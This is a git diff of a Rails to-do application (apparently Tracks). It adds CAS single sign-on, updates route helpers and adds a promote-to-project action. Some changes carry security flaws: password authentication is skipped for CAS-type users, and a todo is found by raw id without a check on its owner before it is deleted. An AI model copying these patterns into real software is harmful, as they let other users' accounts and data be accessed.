diff --git a/.gitignore b/.gitignore
index 1bd85063..1daf5e90 100644
--- a/.gitignore
+++ b/.gitignore
@@ -14,3 +14,4 @@ public/javascripts/cache
 public/stylesheets/cache
 tmp
 vendor/plugins/query_trace/
+rerun.txt
diff --git a/app/controllers/application.rb b/app/controllers/application_controller.rb
similarity index 96%
rename from app/controllers/application.rb
rename to app/controllers/application_controller.rb
index 497c2fa1..fb4ee359 100644
--- a/app/controllers/application.rb
+++ b/app/controllers/application_controller.rb
@@ -20,7 +20,7 @@ class CannotAccessContext < RuntimeError; end
 
 class ApplicationController < ActionController::Base
 
-  protect_from_forgery :secret => SITE_CONFIG['salt']
+  protect_from_forgery
 
   helper :application
   include LoginSystem
@@ -28,6 +28,7 @@ class ApplicationController < ActionController::Base
 
   layout proc{ |controller| controller.mobile? ? "mobile" : "standard" }
   exempt_from_layout /\.js\.erb$/
+
   
   before_filter :set_session_expiration
   before_filter :set_time_zone
@@ -217,6 +218,22 @@ class ApplicationController < ActionController::Base
     self.class.openid_enabled?
   end
 
+  def self.cas_enabled?
+    Tracks::Config.cas_enabled?
+  end
+
+  def cas_enabled?
+    self.class.cas_enabled?
+  end
+
+  def self.prefered_auth?
+    Tracks::Config.prefered_auth?
+  end
+
+  def prefered_auth?
+    self.class.prefered_auth?
+  end
+
   private
         
   def parse_date_per_user_prefs( s )
@@ -259,6 +276,8 @@ class ApplicationController < ActionController::Base
   
   def set_time_zone
     Time.zone = current_user.prefs.time_zone if logged_in?
+    locale = params[:locale] || 'en-US'
+    I18n.locale = locale
   end
 
   def set_zindex_counter
diff --git a/app/controllers/contexts_controller.rb b/app/controllers/contexts_controller.rb
index 5177c399..75f3d1c5 100644
--- a/app/controllers/contexts_controller.rb
+++ b/app/controllers/contexts_controller.rb
@@ -7,7 +7,6 @@ class ContextsController < ApplicationController
   before_filter :set_context_from_params, :only => [:update, :destroy]
   skip_before_filter :login_required, :only => [:index]
   prepend_before_filter :login_or_feed_token_required, :only => [:index]
-  session :off, :only => :index, :if => Proc.new { |req| ['rss','atom','txt'].include?(req.parameters[:format]) }
 
   def index
     # #true is passed here to force an immediate load so that size and empty?
diff --git a/app/controllers/login_controller.rb b/app/controllers/login_controller.rb
index 360a8455..0c1037ed 100644
--- a/app/controllers/login_controller.rb
+++ b/app/controllers/login_controller.rb
@@ -6,12 +6,32 @@ class LoginController < ApplicationController
   skip_before_filter :login_required
   before_filter :login_optional
   before_filter :get_current_user
-  
+  if ( SITE_CONFIG['authentication_schemes'].include? 'cas')
+    # This will allow the user to view the index page without authentication
+    # but will process CAS authentication data if the user already
+    # has an SSO session open.
+    if defined? CASClient
+      # Only require sub-library if gem is installed and loaded
+      require 'casclient/frameworks/rails/filter'
+      before_filter CASClient::Frameworks::Rails::GatewayFilter, :only => :login_cas
+
+      # This requires the user to be authenticated for viewing all other pages.
+      before_filter CASClient::Frameworks::Rails::Filter, :only => [:login_cas ]
+    end
+  end
+
   def login
+    if cas_enabled?
+      @username = session[:cas_user]
+      @login_url = CASClient::Frameworks::Rails::Filter.login_url(self)
+    end
     if openid_enabled? && using_open_id?
       login_openid
+    elsif cas_enabled? && session[:cas_user]
+      login_cas
     else
       @page_title = "TRACKS::Login"
+      cookies[:preferred_auth] = prefered_auth? unless cookies[:preferred_auth]
       case request.method
         when :post
           if @user = User.authenticate(params['user_login'], params['user_password'])
@@ -49,9 +69,13 @@ class LoginController < ApplicationController
     @user.forget_me if logged_in?
     cookies.delete :auth_token
     session['user_id'] = nil
-    reset_session
-    notify :notice, "You have been logged out of Tracks."
-    redirect_to_login
+    if ( SITE_CONFIG['authentication_schemes'].include? 'cas')  && session[:cas_user]
+      CASClient::Frameworks::Rails::Filter.logout(self)
+    else
+      reset_session
+      notify :notice, "You have been logged out of Tracks."
+      redirect_to_login
+    end
   end
   
   def check_expiry
@@ -73,6 +97,33 @@ class LoginController < ApplicationController
     respond_to do |format|
       format.js
     end
+  end
+
+    def login_cas
+    # If checkbox on login page checked, we don't expire the session after 1 hour
+    # of inactivity and we remember this user for future browser sessions
+
+    session['noexpiry'] ||= params['user_noexpiry']
+    if session[:cas_user]
+      if @user = User.find_by_login(session[:cas_user])
+        session['user_id'] = @user.id
+        msg = (should_expire_sessions?) ? "will expire after 1 hour of inactivity." : "will not expire."
+        notify :notice, "Login successful: session #{msg}"
+        cookies[:tracks_login] = { :value => @user.login, :expires => Time.now + 1.year, :secure => SITE_CONFIG['secure_cookies'] }
+        unless should_expire_sessions?
+          @user.remember_me
+          cookies[:auth_token] = { :value => @user.remember_token, :expires => @user.remember_token_expires_at, :secure => SITE_CONFIG['secure_cookies'] }
+        end
+        #redirect_back_or_home
+      else
+        notify :warning, "Sorry, no user by that CAS username exists (#{session[:cas_user]})"
+        redirect_to signup_url ; return
+      end
+    else
+      notify :warning, result.message
+    end
+    redirect_back_or_home 
+
   end
   
   private
@@ -80,7 +131,7 @@ class LoginController < ApplicationController
   def redirect_to_login
     respond_to do |format|
       format.html { redirect_to login_path }
-      format.m { redirect_to formatted_login_path(:format => 'm') }
+      format.m { redirect_to login_path(:format => 'm') }
     end
   end
   
@@ -114,4 +165,6 @@ class LoginController < ApplicationController
       end
     end
   end
+
+
 end
diff --git a/app/controllers/projects_controller.rb b/app/controllers/projects_controller.rb
index 56da269e..a6604cb3 100644
--- a/app/controllers/projects_controller.rb
+++ b/app/controllers/projects_controller.rb
@@ -6,7 +6,6 @@ class ProjectsController < ApplicationController
   before_filter :default_context_filter, :only => [:create, :update]
   skip_before_filter :login_required, :only => [:index]
   prepend_before_filter :login_or_feed_token_required, :only => [:index]
-  session :off, :only => :index, :if => Proc.new { |req| ['rss','atom','txt'].include?(req.parameters[:format]) }
 
   def index
     @source_view = params['_source_view'] || 'project_list'
diff --git a/app/controllers/todos_controller.rb b/app/controllers/todos_controller.rb
index 95e29b8c..fc928a03 100644
--- a/app/controllers/todos_controller.rb
+++ b/app/controllers/todos_controller.rb
@@ -10,8 +10,6 @@ class TodosController < ApplicationController
   append_before_filter :get_todo_from_params, :only => [ :edit, :toggle_check, :toggle_star, :show, :update, :destroy, :remove_predecessor]
   protect_from_forgery :except => [:auto_complete_for_tag, :auto_complete_for_predecessor]
 
-  session :off, :only => :index, :if => Proc.new { |req| is_feed_request(req) }
-
   def index
     current_user.deferred_todos.find_and_activate_ready
     @projects = current_user.projects.find(:all, :include => [:default_context])
@@ -351,7 +349,7 @@ class TodosController < ApplicationController
             cookies[:mobile_url] = {:value => nil, :secure => SITE_CONFIG['secure_cookies']}
             redirect_to old_path
           else
-            redirect_to formatted_todos_path(:m)
+            redirect_to todos_path(:format => 'm')
           end
         else
           render :action => "edit", :format => :m
@@ -463,12 +461,12 @@ class TodosController < ApplicationController
   
   def filter_to_context
     context = current_user.contexts.find(params['context']['id'])
-    redirect_to formatted_context_todos_path(context, :m)
+    redirect_to context_todos_path(context, :format => 'm')
   end
   
   def filter_to_project
     project = current_user.projects.find(params['project']['id'])
-    redirect_to formatted_project_todos_path(project, :m)
+    redirect_to project_todos_path(project, :format => 'm')
   end
   
   # /todos/tag/[tag_name] shows all the actions tagged with tag_name
@@ -607,9 +605,9 @@ class TodosController < ApplicationController
       # Begin matching todos in current project
       @items = current_user.todos.find(:all, 
         :select => 'description, project_id, context_id, created_at',
-        :conditions => [ '(todos.state = ? OR todos.state = ?) AND ' +
+        :conditions => [ '(todos.state = ? OR todos.state = ? OR todos.state = ?) AND ' +
                          'NOT (id = ?) AND lower(description) LIKE ? AND project_id = ?', 
-                         'active', 'pending',
+                         'active', 'pending', 'deferred',
                          @todo.id, 
                          '%' + params[:predecessor_list].downcase + '%',
                          @todo.project_id ],
@@ -619,9 +617,9 @@ class TodosController < ApplicationController
       if @items.empty? # Match todos in other projects
         @items = current_user.todos.find(:all, 
         :select => 'description, project_id, context_id, created_at',
-          :conditions => [ '(todos.state = ? OR todos.state = ?) AND ' +
+          :conditions => [ '(todos.state = ? OR todos.state = ? OR todos.state = ?) AND ' +
                            'NOT (id = ?) AND lower(description) LIKE ?', 
-                           'active', 'pending',
+                           'active', 'pending', 'deferred',
                             params[:id], '%' + params[:q].downcase + '%' ],
           :order => 'description ASC',
           :limit => 10
@@ -631,8 +629,8 @@ class TodosController < ApplicationController
       # New todo - TODO: Filter on project
       @items = current_user.todos.find(:all, 
         :select => 'description, project_id, context_id, created_at',
-        :conditions => [ '(todos.state = ? OR todos.state = ?) AND lower(description) LIKE ?', 
-                         'active', 'pending',
+        :conditions => [ '(todos.state = ? OR todos.state = ? OR todos.state = ?) AND lower(description) LIKE ?', 
+                         'active', 'pending', 'deferred',
                          '%' + params[:q].downcase + '%' ],
         :order => 'description ASC',
         :limit => 10
@@ -640,6 +638,15 @@ class TodosController < ApplicationController
     end
     render :inline => "<%= auto_complete_result2(@items) %>"
   end
+
+  def convert_to_project
+    @todo = Todo.find(params[:id])
+    @project = Project.new(:name => @todo.description, :description => @todo.notes,
+                           :default_context => @todo.context)
+    @todo.destroy
+    @project.save!
+    redirect_to project_url(@project)
+  end
   
   private
   
diff --git a/app/controllers/users_controller.rb b/app/controllers/users_controller.rb
index 55d38ad7..5aa985ba 100644
--- a/app/controllers/users_controller.rb
+++ b/app/controllers/users_controller.rb
@@ -27,6 +27,13 @@ class UsersController < ApplicationController
 
   # GET /users/new
   def new
+    @auth_types = []
+    unless session[:cas_user]
+      Tracks::Config.auth_schemes.each {|auth| @auth_types << [auth,auth]}
+    else
+      @auth_types << ['cas','cas']
+    end
+
     if User.no_users_yet?
       @page_title = "TRACKS::Sign up as the admin user"
       @heading = "Welcome to TRACKS. To get started, please create an admin account:"
@@ -66,6 +73,13 @@ class UsersController < ApplicationController
         end
         
         user = User.new(params['user'])
+
+        if Tracks::Config.auth_schemes.include?('cas')
+          if user.auth_type.eql? "cas"
+             user.crypted_password = "cas"
+          end
+        end
+
         unless user.valid?
           session['new_user'] = user
           redirect_to :action => 'new'
@@ -94,6 +108,9 @@ class UsersController < ApplicationController
           return
         end
         user = User.new(params[:request])
+        if Tracks::Config.auth_schemes.include?('cas')   && session[:cas_user]
+          user.auth_type = "cas" #if they area  cas user
+        end
         user.password_confirmation = params[:request][:password]
         if user.save
           render :text => "User created.", :status => 200
@@ -203,4 +220,4 @@ class UsersController < ApplicationController
     return true
   end
   
-end
\ No newline at end of file
+end
diff --git a/app/helpers/application_helper.rb b/app/helpers/application_helper.rb
index 26bff1b3..645be1c4 100644
--- a/app/helpers/application_helper.rb
+++ b/app/helpers/application_helper.rb
@@ -112,7 +112,7 @@ module ApplicationHelper
   end
   
   def link_to_project_mobile(project, accesskey, descriptor = sanitize(project.name))
-    link_to( descriptor, formatted_project_path(project, :m), {:title => "View project: #{project.name}", :accesskey => accesskey} )
+    link_to( descriptor, project_path(project, :format => 'm'), {:title => "View project: #{project.name}", :accesskey => accesskey} )
   end
   
   def item_link_to_context(item)
@@ -170,13 +170,41 @@ module ApplicationHelper
     standard_format = current_user.prefs.date_format
     translations = [
       ['%m', 'mm'],
+      ['%b', 'M'],
+      ['%B', 'MM'],
       ['%d', 'dd'],
-      ['%Y', 'yy'],
-      ['%y', 'y']
+      ['%a', 'D'],
+      ['%A', 'DD'],
+      ['%y', 'y'],
+      ['%Y', 'yy']
     ]
     translations.inject(standard_format) do |str, translation|
       str.gsub(*translation)
     end
   end
 
+  AUTO_LINK_MESSAGE_RE = %r{message://<[^>]+>} unless const_defined?(:AUTO_LINK_MESSAGE_RE)
+
+  # Converts message:// links to href. This URL scheme is used on Mac OS X
+  # to link to a mail message in Mail.app.
+  def auto_link_message(text)
+    text.gsub(AUTO_LINK_MESSAGE_RE) do
+      href = $&
+      left, right = $`, $'
+      # detect already linked URLs and URLs in the middle of a tag
+      if left =~ /<[^>]+$/ && right =~ /^[^>]*>/
+        # do not change string; URL is alreay linked
+        href
+      else
+        content_tag(:a, h(href), :href => h(href))
+      end
+    end
+  end
+
+  def format_note(note)
+    note = auto_link_message(note)
+    note = auto_link(note)
+    note = markdown(note)
+    note = sanitize(note)
+  end
 end
diff --git a/app/helpers/todos_helper.rb b/app/helpers/todos_helper.rb
index d8be9d1f..1230efa3 100644
--- a/app/helpers/todos_helper.rb
+++ b/app/helpers/todos_helper.rb
@@ -64,6 +64,14 @@ module TodosHelper
         :complete => todo_stop_waiting_js(todo))
     end
   end
+
+  def remote_promote_to_project_menu_item(todo)
+    url = {:controller => 'todos', :action => 'convert_to_project', :id => todo.id,
+      :_source_view => (@source_view.underscore.gsub(/\s+/,'_') rescue "")}
+    url[:_tag_name] = @tag_name if @source_view == 'tag'
+
+    return link_to("Promote to project", url)
+  end
   
   def todo_start_waiting_js(todo)
     return "$('#ul#{dom_id(todo)}').css('visibility', 'hidden'); $('##{dom_id(todo)}').block({message: null})"
@@ -262,9 +270,10 @@ module TodosHelper
   end
   
   def empty_container_msg_div_id
-    return "tickler-empty-nd" if source_view_is_one_of(:project, :tag) && @todo.deferred?
-    return "p#{@todo.project_id}empty-nd" if source_view_is :project
-    return "c#{@todo.context_id}empty-nd"
+    todo = @todo || @successor
+    return "tickler-empty-nd" if source_view_is_one_of(:project, :tag) && todo.deferred?
+    return "p#{todo.project_id}empty-nd" if source_view_is :project
+    return "c#{todo.context_id}empty-nd"
   end
   
   def project_names_for_autocomplete
@@ -315,5 +324,5 @@ module TodosHelper
   def auto_complete_result2(entries, phrase = nil)
     return entries.map{|e| e.specification()}.join("\n") rescue ''
   end
-  
+
 end
diff --git a/app/models/todo.rb b/app/models/todo.rb
index df7aca4f..82c19cb2 100644
--- a/app/models/todo.rb
+++ b/app/models/todo.rb
@@ -17,7 +17,7 @@ class Todo < ActiveRecord::Base
   after_save :save_predecessors
 
   named_scope :active, :conditions => { :state => 'active' }
-  named_scope :not_completed, :conditions =>  ['NOT (state = ? )', 'completed']
+  named_scope :not_completed, :conditions =>  ['NOT (todos.state = ? )', 'completed']
   named_scope :are_due, :conditions => ['NOT (todos.due IS NULL)']
 
   STARRED_TAG_NAME = "starred"
diff --git a/app/models/user.rb b/app/models/user.rb
index 30c5a6fb..068c0cb3 100644
--- a/app/models/user.rb
+++ b/app/models/user.rb
@@ -153,11 +153,14 @@ class User < ActiveRecord::Base
     if Tracks::Config.auth_schemes.include?('ldap')
       return candidate if candidate.auth_type == 'ldap' && SimpleLdapAuthenticator.valid?(login, pass)
     end
+    if Tracks::Config.auth_schemes.include?('cas') && candidate.auth_type.eql?("cas")
+      return candidate #because we can not auth them with out thier real password we have to settle for this
+    end
     return nil
   end
   
   def self.find_by_open_id_url(raw_identity_url)
-    normalized_open_id_url = OpenIdAuthentication.normalize_url(raw_identity_url)
+    normalized_open_id_url = OpenIdAuthentication.normalize_identifier(raw_identity_url)
     find(:first, :conditions => ['open_id_url = ?', normalized_open_id_url])
   end
   
@@ -248,6 +251,6 @@ protected
   
   def normalize_open_id_url
     return if open_id_url.nil?
-    self.open_id_url = OpenIdAuthentication.normalize_url(open_id_url)
+    self.open_id_url = OpenIdAuthentication.normalize_identifier(open_id_url)
   end
 end
diff --git a/app/views/contexts/_mobile_context_listing.rhtml b/app/views/contexts/_mobile_context_listing.rhtml
index 4f770186..c2360ce7 100644
--- a/app/views/contexts/_mobile_context_listing.rhtml
+++ b/app/views/contexts/_mobile_context_listing.rhtml
@@ -1,2 +1,2 @@
 <% context = mobile_context_listing -%>
-<div id="ctx"><%= link_to context.name, formatted_context_path(context, :m) %><%= " (" + count_undone_todos_phrase(context,"actions") + ")" %></div>
\ No newline at end of file
+<div id="ctx"><%= link_to context.name, context_path(context, :format => 'm') %><%= " (" + count_undone_todos_phrase(context,"actions") + ")" %></div>
diff --git a/app/views/integrations/_applescript2.rhtml b/app/views/integrations/_applescript2.rhtml
index e883f998..ba18d42d 100644
--- a/app/views/integrations/_applescript2.rhtml
+++ b/app/views/integrations/_applescript2.rhtml
@@ -35,6 +35,7 @@ on importMessage(theMessage)
 			set theSender to the sender of theMessage
 			set theSubject to subject of theMessage
 			if theSubject is equal to "" then set theSubject to emptySubject
+			set theMessageId to message id of theMessage
 			
 			-- Construct the description string from the email info
 			set myDesc to "Email " & theSender & " about " & theSubject
@@ -42,13 +43,15 @@ on importMessage(theMessage)
 			if length of myDesc > 100 then
 				set myDesc to characters 1 thru 100 of myDesc
 			end if
+			
+			set myNote to "message://<" & theMessageId & ">"
 		end try
 	end tell
 	
 	-- Now send all that info to Tracks
 	-- Edit the URL of your Tracks installation if necessary"
 	tell application "<%= home_url %>backend/api"
-		set returnValue to call xmlrpc {method name:"NewTodo", parameters:{myUsername, myToken, myContextID, myDesc}}
+		set returnValue to call xmlrpc {method name:"NewTodo", parameters:{myUsername, myToken, myContextID, myDesc, myNote}}
 	end tell
 	
 	(* Growl support - comment out or delete this section if 
diff --git a/app/views/layouts/mobile.m.erb b/app/views/layouts/mobile.m.erb
index d23a83e3..75cd4049 100644
--- a/app/views/layouts/mobile.m.erb
+++ b/app/views/layouts/mobile.m.erb
@@ -16,10 +16,10 @@
 <h1><span class="count"><%= @down_count %></span> <%= 
         current_user.time.strftime(@prefs.title_date_format) -%></h1>
 <div class="nav">
-<%=     (link_to("0-New action", formatted_new_todo_path(:m, new_todo_params))+" | ") unless @new_mobile -%>
-<%=     (link_to("1-Home", formatted_todos_path(:m))+" | ") unless @home -%>
-<%=     (link_to("2-Contexts", formatted_contexts_path(:m))+" | ") -%>
-<%=     (link_to("3-Projects", formatted_projects_path(:m))+" | ") -%>
+<%=     (link_to("0-New action", new_todo_path(new_todo_params, :format => 'm'))+" | ") unless @new_mobile -%>
+<%=     (link_to("1-Home", todos_path(:format => 'm'))+" | ") unless @home -%>
+<%=     (link_to("2-Contexts", contexts_path(:format => 'm'))+" | ") -%>
+<%=     (link_to("3-Projects", projects_path(:format => 'm'))+" | ") -%>
 <%=     (link_to("4-Starred", {:action => "tag", :controller => "todos", :id => "starred.m"})) -%>
 <%    end
   end -%><%= render_flash -%>
@@ -27,15 +27,15 @@
 <%=  yield -%>
 <hr/><% if !@prefs.nil? -%>
 <div class="nav">
-<%= (link_to("Logout", formatted_logout_path(:format => 'm')) +" | ") -%>
-<%= (link_to("0-New action", formatted_new_todo_path(:m), {:accesskey => "0"})+" | ") unless @new_mobile -%>
-<%= (link_to("1-Home", formatted_todos_path(:m), {:accesskey => "1"})+" | ") unless @home -%>
-<%= (link_to("2-Contexts", formatted_contexts_path(:m), {:accesskey => "2"})+" | ") -%>
-<%= (link_to("3-Projects", formatted_projects_path(:m), {:accesskey => "3"})+" | ") -%>
+<%= (link_to("Logout", logout_path(:format => 'm')) +" | ") -%>
+<%= (link_to("0-New action", new_todo_path(:format => 'm'), {:accesskey => "0"})+" | ") unless @new_mobile -%>
+<%= (link_to("1-Home", todos_path(:format => 'm'), {:accesskey => "1"})+" | ") unless @home -%>
+<%= (link_to("2-Contexts", contexts_path(:format => 'm'), {:accesskey => "2"})+" | ") -%>
+<%= (link_to("3-Projects", projects_path(:format => 'm'), {:accesskey => "3"})+" | ") -%>
 <%= (link_to("4-Starred", {:action => "tag", :controller => "todos", :id => "starred.m"}, {:accesskey => "4"})+" | ") -%> 
 <%= (link_to("Tickler", {:action => "index", :controller => "tickler.m"})+" | ") -%>
 <%= (link_to("Feeds", {:action => "index", :controller => "feeds.m"})) -%>
 </div>
 <% end -%>
 <%= render :partial => "shared/mobile_footer" -%>  
-</body></html>
\ No newline at end of file
+</body></html>
diff --git a/app/views/layouts/standard.html.erb b/app/views/layouts/standard.html.erb
index 07fac6bb..f551e886 100644
--- a/app/views/layouts/standard.html.erb
+++ b/app/views/layouts/standard.html.erb
@@ -54,7 +54,7 @@
       <div id="minilinks">
         <%= link_to("Toggle notes", "#", {:accesskey => "S", :title => "Toggle all notes", :id => "toggle-notes-nav"}) %>
         &nbsp;|&nbsp;
-        <%= link_to "Logout (#{current_user.display_name}) »", logout_path %>
+        <%= link_to "Logout (#{current_user.display_name}) »", logout_path %> <p>
       </div>
       <div id="navcontainer">
         <ul class="sf-menu">
@@ -103,7 +103,7 @@
         <%= periodically_call_remote( :url => {:controller => "login", :action => "check_expiry"},
           :frequency => (5*60)) %>
       <% end -%>
-      <%= periodically_call_remote( :url => formatted_check_deferred_todos_path(:js),
+      <%= periodically_call_remote( :url => check_deferred_todos_path(:format => 'js'),
         :method => :post,
         :frequency => (10*60)) %>
       <%= yield %>
diff --git a/app/views/login/login.html.erb b/app/views/login/login.html.erb
index de3d3fe4..b4a1dda5 100644
--- a/app/views/login/login.html.erb
+++ b/app/views/login/login.html.erb
@@ -1,6 +1,7 @@
 <% auth_schemes = Tracks::Config.auth_schemes
    show_database_form = auth_schemes.include?('database')
    show_openid_form = auth_schemes.include?('open_id')
+   show_cas_form = auth_schemes.include?('cas')
 -%>
 
 <div title="Account login" id="loginform" class="form">
@@ -8,9 +9,8 @@
   <%= render_flash %>
 
   <h3>Please log in to use Tracks:</h3>
-
 <% if show_database_form %>
-  <div id="database_auth_form" style="display:block">
+  <div id="database_auth_form" style="display:<%=(@prefered_auth.eql?('database')) ? "block" : "none"%>">
       <% form_tag :action=> 'login' do %>
         <table>
           <tr>
@@ -35,7 +35,7 @@
 <% end %>
 
 <% if show_openid_form %>
-  <div id="openid_auth_form" style="display:none">
+  <div id="openid_auth_form" style="display:<%=(@prefered_auth.eql?('openid')) ? "block" : "none"%>">
     <% form_tag :action=> 'login' do %>
       <table>
         <tr>
@@ -54,24 +54,48 @@
     <% end %>
   </div>
  <% end %>
+
+<% if show_cas_form %>
+  <div id="cas_auth_form" style="display:<%=(@prefered_auth.eql?('cas')) ? "block" : "none"%>">
+      <table>
+        <tr>
+          <td>	
+			<% if @username && @user%>
+			  <p>Hello, <%= @username %>! You are authenticated.</p>
+			<% elsif @username %>
+			  <p>Hello, <%= @username %>! You do not have an account on Tracks.
+                <%if SITE_CONFIG['open_signups']%>
+                   If you like to request on please go here to <%= link_to "Request Account" , signup_url %>
+                <%end%>
+              </p>
+			<% else %>
+			  <p><%= link_to("CAS Login", login_cas_url) %>  </p>
+			<% end %>
+			</td>
+        </tr>
+      </table>
+  </div>
+ <% end %>
  
 </div>
 <% if show_openid_form %><p id="alternate_auth_openid" class="alternate_auth">or, <a href="#" onclick="Login.showOpenid();return false;">login with an OpenId</a></p><% end %>
 <% if show_database_form %><p id="alternate_auth_database" class="alternate_auth">or, <a href="#" onclick="Login.showDatabase();return false;">go back to the standard login</a></p><% end %>
+<% if show_cas_form %><p id="alternate_auth_cas" class="alternate_auth">or, <a href="#" onclick="Login.showCAS();return false;">go to the CAS</a></p><% end %>
 
 <script type="text/javascript">
 function showPreferredAuth() {
   var preferredAuth = $.cookie('preferred_auth');
+  var casEnabled = <%= show_cas_form ? 'true' : 'false' %>;
   var databaseEnabled = <%= show_database_form ? 'true' : 'false' %>;
   var openidEnabled = <%= show_openid_form ? 'true' : 'false' %>;
 	if (preferredAuth && preferredAuth == 'openid' && openidEnabled) {
 	  Login.showOpenid();
 	}
-	else if (databaseEnabled)  {
+	else if (preferredAuth && preferredAuth == 'database' && databaseEnabled)  {
 	  Login.showDatabase();
 	}
-	else if (openidEnabled)  {
-	  Login.showOpenid();
+	else if (preferredAuth && preferredAuth == 'cas' && casEnabled)  {
+	  Login.showCAS();
 	}
 }
 $(document).ready(showPreferredAuth);
@@ -81,7 +105,8 @@ var Login = {
         $('#database_auth_form').hide();
         $('#openid_auth_form').show();
         $('#alternate_auth_openid').hide();
-        $('#alternate_auth_database').show();
+        $('#alternate_auth_database').show();  ;
+        $('#alternate_auth_cas').show();
         $('#openid_url').focus();
         $('#openid_url').select();
         $.cookie('preferred_auth', 'openid');
@@ -92,10 +117,21 @@ var Login = {
         $('#database_auth_form').show();
         $('#alternate_auth_database').hide();
         $('#alternate_auth_openid').show();
+        $('#alternate_auth_cas').show();
         $('#user_login').focus();
         $('#user_login').select();
         $.cookie('preferred_auth', 'database');
+    },
+    showCAS: function(container) {
+        $('#database_auth_form').hide();
+        $('#openid_auth_form').hide();
+        $('#cas_auth_form').show();
+        $('#alternate_auth_cas').hide();
+        $('#alternate_auth_openid').show();
+        $('#alternate_auth_database').show();
+        $.cookie('preferred_auth', 'cas');
     }
+
 }
 
 </script>
diff --git a/app/views/login/login_mobile.html.erb b/app/views/login/login_mobile.html.erb
index a2b7cd94..c0c248a1 100644
--- a/app/views/login/login_mobile.html.erb
+++ b/app/views/login/login_mobile.html.erb
@@ -11,7 +11,7 @@
 
 <% if show_database_form %>
   <div id="database_auth_form">
-      <% form_tag formatted_login_path(:format => 'm') do %>
+      <% form_tag login_path(:format => 'm') do %>
         <table>
           <tr>
             <td><label for="user_login">Login:</label></td>
@@ -39,7 +39,7 @@
   <h4>...or login with an Open ID:</h4>
 
   <div id="openid_auth_form">
-    <% form_tag formatted_login_path(:format => 'm') do %>
+    <% form_tag login_path(:format => 'm') do %>
       <table>
         <tr>
           <td width="100px"><label for="openid_url">Identity URL:</label></td>
diff --git a/app/views/notes/_mobile_notes.rhtml b/app/views/notes/_mobile_notes.rhtml
index d5f4d7ab..8c257da5 100644
--- a/app/views/notes/_mobile_notes.rhtml
+++ b/app/views/notes/_mobile_notes.rhtml
@@ -4,7 +4,7 @@
 </div>
 <div class="mobile_note_info">
   <br/>
-  <%= link_to("In: " + note.project.name, formatted_project_path(note.project, :m)) %>
+  <%= link_to("In: " + note.project.name, project_path(note.project, :format => 'm')) %>
   Created: <%= format_date(note.created_at) %>
   <% if note.updated_at? -%>
   &nbsp;|&nbsp;Modified: <%= format_date(note.updated_at) %>
diff --git a/app/views/notes/_mobile_notes_summary.rhtml b/app/views/notes/_mobile_notes_summary.rhtml
index a2e117b6..4a1f7657 100644
--- a/app/views/notes/_mobile_notes_summary.rhtml
+++ b/app/views/notes/_mobile_notes_summary.rhtml
@@ -1,3 +1,3 @@
 <% note = mobile_notes_summary -%>
-<div class="note"><%= link_to( truncated_note(note), formatted_note_path(note, :m)) %></div>
+<div class="note"><%= link_to( truncated_note(note), note_path(note, :format => 'm')) %></div>
 <% note = nil -%>
diff --git a/app/views/notes/_notes.rhtml b/app/views/notes/_notes.rhtml
index a41796a4..4ae528e0 100644
--- a/app/views/notes/_notes.rhtml
+++ b/app/views/notes/_notes.rhtml
@@ -2,8 +2,8 @@
 <div id="<%= dom_id(note, 'container') %>">
   <h2><%= link_to("Note #{note.id}", note_path(note), :title => "Show note #{note.id}" ) %></h2>
   <div class="project_notes" id="<%= dom_id(note) %>">
-    <%= sanitize(markdown(auto_link(note.body))) %>
-       
+    <%= format_note(note.body) %>
+
     <div class="note_footer">
       <%= link_to_remote( 
         image_tag("blank.png", 
diff --git a/app/views/projects/_mobile_project_listing.rhtml b/app/views/projects/_mobile_project_listing.rhtml
index 167854bb..440536bb 100644
--- a/app/views/projects/_mobile_project_listing.rhtml
+++ b/app/views/projects/_mobile_project_listing.rhtml
@@ -1,4 +1,4 @@
 <% project = mobile_project_listing -%>
 <div id="pjr"><%= 
-    link_to(project.name, formatted_project_path(project)) +
-    " (" + count_undone_todos_and_notes_phrase(project,"actions") + ")" %></div>
\ No newline at end of file
+  link_to(project.name, project_path(project, :format => 'm')) +
+    " (" + count_undone_todos_and_notes_phrase(project,"actions") + ")" %></div>
diff --git a/app/views/projects/_project_listing.rhtml b/app/views/projects/_project_listing.rhtml
index d8fc6740..bfc44ac9 100644
--- a/app/views/projects/_project_listing.rhtml
+++ b/app/views/projects/_project_listing.rhtml
@@ -15,7 +15,7 @@ suppress_edit_button ||= false
     <div class="buttons">
       <span class="grey"><%= project.current_state.to_s.upcase %></span>
       <a class="delete_project_button"
-         href="<%= formatted_project_path(project, :js) %>"
+        href="<%= project_path(project, :format => 'js') %>"
          title="delete the project '<%= project.name %>'"><%= image_tag( "blank.png",
           :title => "Delete project",
           :class=>"delete_item") %></a>
diff --git a/app/views/todos/_mobile_todo.rhtml b/app/views/todos/_mobile_todo.rhtml
index e2561b69..9e358ffa 100644
--- a/app/views/todos/_mobile_todo.rhtml
+++ b/app/views/todos/_mobile_todo.rhtml
@@ -12,15 +12,15 @@ end -%>
 <%  else 
 -%><span class="m_t">
 <%  end -%>
-<%= date_span -%> <%= link_to mobile_todo.description, formatted_todo_path(mobile_todo, :m) -%>
+<%= date_span -%> <%= link_to mobile_todo.description, todo_path(mobile_todo, :format => 'm') -%>
 <%  if parent_container_type == 'context' or parent_container_type == 'tag' -%>
 <%=    "<span class=\"prj\"> (" +
-       link_to(mobile_todo.project.name, formatted_project_path(mobile_todo.project, :m)) + 
+  link_to(mobile_todo.project.name, project_path(mobile_todo.project, :format => 'm')) + 
        ")</span>" unless mobile_todo.project.nil? -%>
 <%  end
     if parent_container_type == 'project' or parent_container_type == 'tag' -%>
 <%=    "<span class=\"ctx\"> (" +
-       link_to(mobile_todo.context.name, formatted_context_path(mobile_todo.context, :m)) + 
+  link_to(mobile_todo.context.name, context_path(mobile_todo.context, :format => 'm')) + 
        ")</span>" -%>
 <%  end -%>
  <%= tag_list_mobile -%>
diff --git a/app/views/todos/_todo.html.erb b/app/views/todos/_todo.html.erb
index 85ee76e7..5395e891 100644
--- a/app/views/todos/_todo.html.erb
+++ b/app/views/todos/_todo.html.erb
@@ -22,6 +22,7 @@ parameters += "&_tag_name=#{@tag_name}" if @source_view == 'tag'
             <li><%= remote_defer_menu_item(1, todo) %></li>
             <li><%= remote_defer_menu_item(7, todo) %></li>
           <% end %>
+          <li><%= remote_promote_to_project_menu_item(todo) %></li>
         </ul>
       </li>
     </ul>
diff --git a/app/views/todos/_toggle_notes.rhtml b/app/views/todos/_toggle_notes.rhtml
index 61cfca64..bdf2488e 100644
--- a/app/views/todos/_toggle_notes.rhtml
+++ b/app/views/todos/_toggle_notes.rhtml
@@ -1,5 +1,5 @@
